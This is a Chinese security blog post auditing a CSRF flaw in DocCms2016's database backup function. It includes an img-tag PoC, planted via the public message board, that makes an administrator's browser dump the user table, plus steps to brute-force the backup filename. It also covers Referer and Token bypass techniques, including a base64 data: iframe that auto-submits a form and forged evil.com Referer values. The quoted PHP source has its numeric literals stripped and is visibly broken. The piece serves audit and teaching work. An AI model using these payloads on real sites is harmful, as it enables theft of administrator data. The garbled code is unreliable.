0x01 前言

  CSRF(Cross-site request forgery)跨站请求伪造。攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件,发私信,添加管理用户,甚至于交易转账等。

这就利用了web中用户身份认证验证的一个漏洞:简单的身份验证仅仅能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。

0x01 漏洞案例

CMS官网:http://www.doccms.com

程序源码:DocCms2016

在\doccms\admini\controllers\system\back.php中,export函数直接对提交上来的参数tables/sizelimit进行处理,导出sql备份文件,未对访问来源进行有效验证,导致数据库备份模块存在CSRF漏洞。

function export()
{
global $db,$request,$sizelimit,$startrow;
$tables=$request['tables'];
$sizelimit=$request['sizelimit'];
if($request['dosubmit'])
{
$fileid = isset($request['fileid']) ? $request['fileid'] : ;
if($fileid== && $tables)
{
if(!isset($tables) || !is_array($tables))
echo "<script>alert('请选择要备份的数据表!');window.history.go(0);</script>";
$random = mt_rand(, );
cache_write('bakup_tables.php', $tables);
}
else
{
if(!$tables = cache_read('bakup_tables.php'))
echo "<script>alert('请选择要备份的数据表!');window.history.go(-1);</script>";
}
$sqldump = '';
$tableid = isset($request['tableid']) ? $request['tableid'] - : ;
$startfrom = isset($request['startfrom']) ? intval($request['startfrom']) : ;
$tablenumber = count($tables);
for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $sizelimit * ; $i++)
{
$sqldump .= sql_dumptable($tables[$i], $startfrom, strlen($sqldump));
$startfrom = ;
}

漏洞利用:

1、构造CSRF漏洞利用代码,只备份管理员用户表doc_user:

 <H2> CRSFTester</H2>
<img src="http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=开始备份数据" width="" height="" border=""/>

2、在网站首页在线留言提交CSRF漏洞利用代码:

 

3、当管理员在后台查看留言信息时,自动备份数据库到/doccms/temp/data目录下:

 

4、数据库备份文件默认备份在/doccms/temp/data目录,备份文件名是有规则的,命名格式为:数据库名称+下划线_+8位备份日期+下划线_+6位随机数+数据表备份卷号,如doccms_20180115_308034_1.sql,只需爆破6位随机数字即可获取sql备份路径。

0x02  漏洞防范

  CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式,通常可以采用如下措施来进行防御:

    1、增加Token/Referer验证

    2、增加验证码

    3、用户二次验证

    4、HTTP 头中自定义属性并验证

0x03 绕过技巧

CSRF可以使用验证Referer/Token的方式进行防御,但是有防护就有可能被绕过,网站服务端的验证方法仍然可能存在漏洞,需要进行不断的尝试。

有条件限制 不一定所有的Refere/Token验证就可以绕过。

Referer绕过姿势

1.空Referer绕过

跨协议间提交请求。常见的协议:ftp://,http://,https://,file://,javascript:,data:,最简单的情况就是我们在本地打开一个HTML页面,这个时候浏览器地址栏是file://开头的,如果这个HTML页面向任何http站点提交请求的话,这些请求的Referer都是空的。那么我们接下来可以利用data:协议来构造一个自动提交的CSRF攻击。当然这个协议是IE不支持的,我们可以换用javascript:

假如http://a.b.com/d 这个接口存在空Referer绕过的CSRF,那么我们的POC可以是这样的:

<html>
<body>
<iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
</doby>
</html>

上面iframe的src的代码其实是:

<form method=post action=http://a.b.com/d><input type=text name='id' value='123'/></form><script>document.forms[0].submit();</script>

自动提交表单到有缺陷的CGI。

2.判断Referer是某域情况下绕过

比如你找的csrf是xxx.com  验证的referer是验证的*.xx.com  可以找个二级域名 之后<img "csrf地址">  之后在把文章地址发出去 就可以伪造。

Referfer:https://www.evil.com
修改为:
Referfer:https://img.evil.com

3.判断Referer是否存在某关键词

referer判断存在不存在google.com这个关键词

在网站新建一个google.com目录 把CSRF存放在google.com目录,即可绕过

Referer:https://www.google.com/xxx.jsp
修改为:
Referer:https://www.evil.com/www.google.com/xxx.jsp
Referer:https://www.evil.com/www.google.com/xxx.jsp.php

4.判断referer是否有某域名

判断了Referer开头是否以google.com以及google子域名,不验证根域名为126.com 那么我这里可以构造子域名x.google.com.xxx.com作为蠕虫传播的载体服务器,即可绕过。

Referer: http://member.xxx.com
修改为:
Referer: http://member.xxx.com.evil.com

Token绕过姿势

1.Token无效验证

  服务端没有校验token,直接将URL中将参数token去掉。另外,部分模块有Token校验,有些模块却没有token,找那些没有校验的漏网之鱼。

2.利用xss漏洞来绕过CSRF防御

  存在xss的情况下,使用ajax来跨域获取DOM节点中的Token字段,来进行构造。

3.Token是固定不变的

  Token规则过于简单,比如根据某个用户id做了单向hash获得的,可以直接去构造。

4.Token泄露

  Token的表数据泄露,或者算法泄露,程序逻辑不严谨导致的安全隐患。

  

参考链接:

CSRF - 空Referer绕过
https://www.bbsmax.com/A/VGzlM6M1Jb/
http://www.cnblogs.com/huangjacky/p/4109096.html CSRF 花式绕过Referer技巧
https://blog.51cto.com/0x007/1610946 Web安全 | 利用XSS绕过CSRF防御
https://www.0xss.cn/450.html GET请求-Referer限制绕过总结
https://www.secpulse.com/archives/74691.html 从密码到token, 一个授权的故事
https://www.toobug.cn/post/539.html CSRF中Referer的误解
https://blog.csdn.net/qq_24196029/article/details/78335668

PHP代码审计笔记--CSRF漏洞的更多相关文章

  1. 2020/1/30 PHP代码审计之CSRF漏洞

    0x00 CSRF漏洞 CSRF(Cross-site request forgery)跨站请求伪造:也被称为"One Click Attack"或者Session Riding, ...

  2. CSRF漏洞实战靶场笔记

    记录下自己写的CSRF漏洞靶场的write up,包括了大部分的CSRF实战场景,做个笔记. 0x01 无防护GET类型csrf(伪造添加成员请求) 这一关没有任何csrf访问措施 首先我们登录tes ...

  3. 【代码审计】YzmCMS_PHP_v3.6 CSRF漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

  4. PHP代码审计笔记--变量覆盖漏洞

    变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击. 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数, ...

  5. php代码审计7审计csrf漏洞

    跨站请求伪造,也有人写出xsrf,黑客伪造用户的http请求,然后将http请求发送给存在csrf的网站,网站执行了伪造的http请求,就引发了跨站请求伪造 漏洞危害:攻击者盗用了你的身份信息,以你的 ...

  6. CSRF 漏洞测试

    CSRF简介: CSRF中文名:跨站请求伪造,英文译为:Cross-site request forgery,CSRF攻击就是attacker(攻击者)利用victim(受害者)尚未失效的身份认证信息 ...

  7. SeacmsV10.7版代码审计笔记

    data: 2020.11.9 10:00AM description: seacms代码审计笔记 0X01前言 seacms(海洋cms)在10.1版本后台存在多处漏洞,事实上当前最新版V10.7这 ...

  8. DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞

    DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞 1.漏洞利用 由于tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量 ...

  9. 浅谈CSRF漏洞

    前言: 看完小迪老师的CSRF漏洞讲解.感觉不行 就自己百度学习.这是总结出来的.   歌曲:   正文: CSRF与xss和像,但是两个是完全不一样的东西. xss攻击(跨站脚本攻击)储存型的XSS ...

随机推荐

  1. minerd

    云服务器 ECS Linux 异常进程 minerd 导致系统 CPU 跑满 问题现象 云服务器 ECS Linux 服务器 CPU 跑满,或者使用服务器越来越慢. 问题原因 使用 top 命令看到有 ...

  2. ggplot2 pdf import in Adobe Illustrator missing font AdobePiStd

    The font AdobePiStd is missing. Affected text will be displayed using a substitute font. 缺少字体 AdobeP ...

  3. HTML5 中 40 个最重要的技术点

    介绍 我是一个ASP.NET MVC的开发者,最近在我找工作的时候被问到很多与HTML5相关的问题和新特性.所以以下40个重要的问题将帮助你复习HTML5相关的知识. 这些问题不是你得到工作的高效解决 ...

  4. Apache Storm内部原理分析

    转自:http://shiyanjun.cn/archives/1472.html 本文算是个人对Storm应用和学习的一个总结,由于不太懂Clojure语言,所以无法更多地从源码分析,但是参考了官网 ...

  5. 小米3移动版 分区 调整/合并教程(16GB/64GB)

    (必读)版权声明:米3移动版TWRP Recovery为XueferH适配,分区脚本以及双数据置换脚本的知识产权,智力成果权归XueferH所有. 注:此教程仅适用于Xiaomi MI 3-移动版(1 ...

  6. 实验四 使用ASP.NET内置对象 总结

    这次实验内容是ASP.NET的一些内置对象的熟悉,感觉看到了上学期JSP的影子,很多地方都很像.像Response对象,Request对象,Context对象等等.以前我老是搞混Response对象和 ...

  7. Spring JDBC SqlQuery类示例

    org.springframework.jdbc.object.SqlQuery类提供了表示SQL查询的可重用操作对象. 使用到的 Student 表的结构如下 - CREATE TABLE Stud ...

  8. 目标检测之2015iccv---objdetection 专题论文

    http://mp7.watson.ibm.com/ICCV2015/ObjectDetectionICCV2015.html

  9. 7月目标 socket , 一致性哈希算法 ; mongodb分片; 分布式消息队列; 中间件的使用场景

      分布式的基础:一致性哈希  路由算法的一致性hash http://www.jiacheo.org/blog/174 http://www.tuicool.com/articles/vQVbmai ...

  10. Wings 3D

    Wings 3D 编辑 Wings 3D 是一个开源的三维计算机图形软件.使用翼边数据库.注重于多边形建模,构思取与 Izware 的 Nendo 和 Mirai.支持多种操作系统,包括 Linux. ...